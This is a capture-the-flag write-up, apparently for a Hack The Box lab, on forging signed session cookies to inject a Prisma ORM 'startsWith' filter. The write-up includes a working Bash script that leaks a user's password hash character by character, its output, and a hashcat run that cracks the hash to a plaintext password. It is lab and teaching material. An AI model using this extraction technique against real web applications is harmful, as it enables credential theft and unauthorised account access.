JSON Injection
During the earlier stage, I was able to achieve Session hijacking by manipulating the session token with the secret key string, and I found out that a suspected valid system user, wesley
, is also a user within the web application. While this was a good find, the files uploaded by the wesley
user did not provide much to proceed forward.
This made me to think that there could be other attack vectors apart from the session hijacking via impersonation.
The target web application uses Prisma ORM.
looking back at the source code, it uses one of prisma’s crud operations,
findMany
, to retrieve a set of various userdata from the current session cookie.
That various userdata includes id
, uploadedAt
, size
, name
, private
, authorId
, and author
selected by username
Additionally, above userdata is render to the home.njk
template using Numjucks to be displayed at the/home/
endpoint
That is precisely how the web application is able to fetch the files uploaded by the current user when accessing the /home/
endpoint
In the context where the web application engages with the backend database through Prisma’s CRUD operations, which have been illustrated previously, it is reasonable to contemplate the potential for extracting additional sensitive information, such as passwords. Nevertheless, the primary focus revolves around the methodology employed to accomplish this extraction
Looking it up online, the first result shows one of the official documentations that demonstrates such method
clicking into the provided documentation above, i see a mention of the
startsWith
operator
an example
another example
This concludes that I might be able to extract the password
attribute of a target user using the startsWith
operator
I should be able to convert the example queries of Prisma client above into JSON data.
{
"flashes": {
"info": [],
"error": [],
"success": ["You are now logged in."]
},
"user": {
"id": 1,
"username": "WESLEY",
"password": {
"startswith": "abc"
}
}
}
Like so.
However, this raises a few concerns.
Firstly, the accessibility of the password
attribute is paramount for the success of this extraction endeavor.
- It is imperative to acknowledge that if the
password
attribute is securely shielded through authentication measures, the proposed method will be rendered ineffective. Secondly, the prospect of meticulously examining each character of a password appears impractical if conducted manually. - The process would entail a tedious assessment, having the
cookie-monster
tool to individually re-sign the JSON data each character, followed by validation through a GET request to the/home/
endpoint of the target web application.
Therefore, I could attempt to automate the said process by creating a Bash script
Automating
#!/bin/bash
# JSON template
json='{
"flashes": {
"info": [],
"error": [],
"success": ["You are now logged in."]
},
"user": {
"id": 1,
"username": "WESLEY",
"password": {
"startsWith": "HERE"
}
}
}'
# Function to check if a given character is valid
check_password() {
updated_json="${json//HERE/$1}"
# Create a temporary file
temp_file=$(mktemp)
# Write the updated JSON to the temporary file
echo "$updated_json" > "$temp_file"
# Run cookie-monster with the temporary file and capture the output
cookie_output=$(cookie-monster -e -f "$temp_file" -k '8929874489719802418902487651347865819634518936754' -n download_session)
# Capture the download_session and download_session.sig cookies
download_session_cookie=$(echo "$cookie_output" | grep -oE 'download_session=[^ ]+')
signature_cookie=$(echo "$cookie_output" | grep -oE 'download_session\.sig=[^ ]+')
cookie=$(echo "$download_session_cookie; $signature_cookie" | sed 's/\x1b\[[0-9;]*[mGKHF]//g')
res=$(curl -s http://download.htb/home/ -b "$cookie")
# Check if the response contains "AnnualReport2022.pdf"
if [[ "$res" =~ "AnnualReport2022.pdf" ]]; then
return 0
else
return 1
fi
# Remove the temporary file
rm "$temp_file"
}
# Recursive function to find characters
find_chars() {
local current_chars="$1"
for char in {0..9} {a..z} {A..Z}; do
next_chars="$current_chars$char"
if check_password "$next_chars"; then
echo "Found: $next_chars"
find_chars "$next_chars"
fi
done
}
# Start the recursion
find_chars ""
This Bash script above performs a systematic process of recursively finding the value of the password
attribute of the wesley
user on a website.
The main goal is to find the correct characters one by one that match the user’s password. Here’s how it works:
- A JSON template is established to simulate interactions with the website’s login system
- The script defines a function called
check_password
. This function utilizes an external program calledcookie-monster
along with a temporary file to simulate logging into the website with a guessed character. It then checks if this attempt is successful by accessing a web page- The JSON template is updated with the guessed character
- A temporary file is created to store the updated JSON
- A tool called
cookie-monster
is used with the temporary file to simulate logging in and capture a special cookie - The cookie is used to access the endpoint at
/home/
, and the response is checked for a specific string, AnnualReport2022.pdf - If the string is found, it means the guessed character is correct
- The script defines a recursive function named
find_chars
. This function iterates through numbers, lowercase letters, and uppercase letters to find each character of the password- Those potential characters are defined by MD5 hashing algorithm
- For each guessed character combination, the
check_password
function is called to see if it’s correct - If a correct character is found, the process continues to find the next character
- The script initiates the recursive process by calling the
find_chars
function
Executing…
root@d1a6473e009f:~# ./bruteforce_passwd.sh
Found: f
Found: f8
Found: f88
Found: f889
Found: f8897
Found: f88976
Found: f88976c
Found: f88976c1
Found: f88976c10
Found: f88976c10a
Found: f88976c10af
Found: f88976c10af6
Found: f88976c10af66
Found: f88976c10af669
Found: f88976c10af6691
Found: f88976c10af66915
Found: f88976c10af669159
Found: f88976c10af6691591
Found: f88976c10af66915918
Found: f88976c10af669159189
Found: f88976c10af6691591894
Found: f88976c10af66915918945
Found: f88976c10af66915918945b
Found: f88976c10af66915918945b9
Found: f88976c10af66915918945b96
Found: f88976c10af66915918945b967
Found: f88976c10af66915918945b9679
Found: f88976c10af66915918945b9679b
Found: f88976c10af66915918945b9679b2
Found: f88976c10af66915918945b9679b2b
Found: f88976c10af66915918945b9679b2bd
Found: f88976c10af66915918945b9679b2bd3
Executing the Bash script find the value of the password
attribute of the wesley
user
This is a MD5 hash string
Password Cracking
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ hashcat -a 0 -m 0 wesley.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* device #1: pthread-sandybridge-11th Gen Intel(R) Core(TM) i9-11900H @ 2.50GHz, 2910/5884 MB (1024 MB allocatable), 6MCU
minimum password length supported by kernel: 0
maximum password length supported by kernel: 256
hashes: 1 digests; 1 unique digests, 1 unique salts
bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
watchdog: Temperature abort trigger set to 90c
host memory required for this attack: 1 MB
dictionary cache hit:
* filename..: /usr/share/wordlists/rockyou.txt
* passwords.: 14344385
* bytes.....: 139921507
* keyspace..: 14344385
f88976c10af66915918945b9679b2bd3:dunkindonuts
session..........: hashcat
status...........: Cracked
hash.mode........: 0 (MD5)
hash.target......: f88976c10af66915918945b9679b2bd3
time.started.....: Tue Aug 8 15:07:16 2023 (0 secs)
time.estimated...: Tue Aug 8 15:07:16 2023 (0 secs)
kernel.feature...: Pure Kernel
guess.base.......: File (/usr/share/wordlists/rockyou.txt)
guess.queue......: 1/1 (100.00%)
speed.#1.........: 3894.6 kH/s (0.15ms) @ Accel:512 Loops:1 Thr:1 Vec:8
recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
progress.........: 150528/14344385 (1.05%)
rejected.........: 0/150528 (0.00%)
restore.point....: 147456/14344385 (1.03%)
restore.sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
candidate.engine.: Device Generator
candidates.#1....: mckinley1 -> claudette1
hardware.mon.#1..: Util: 37%
started: Tue Aug 8 15:07:15 2023
stopped: Tue Aug 8 15:07:18 2023
Hashcat cracked the password hash for the wesley
user
The cracked password is dunkindonuts
Since the target system has a SSH server up and running, I will test the credential against it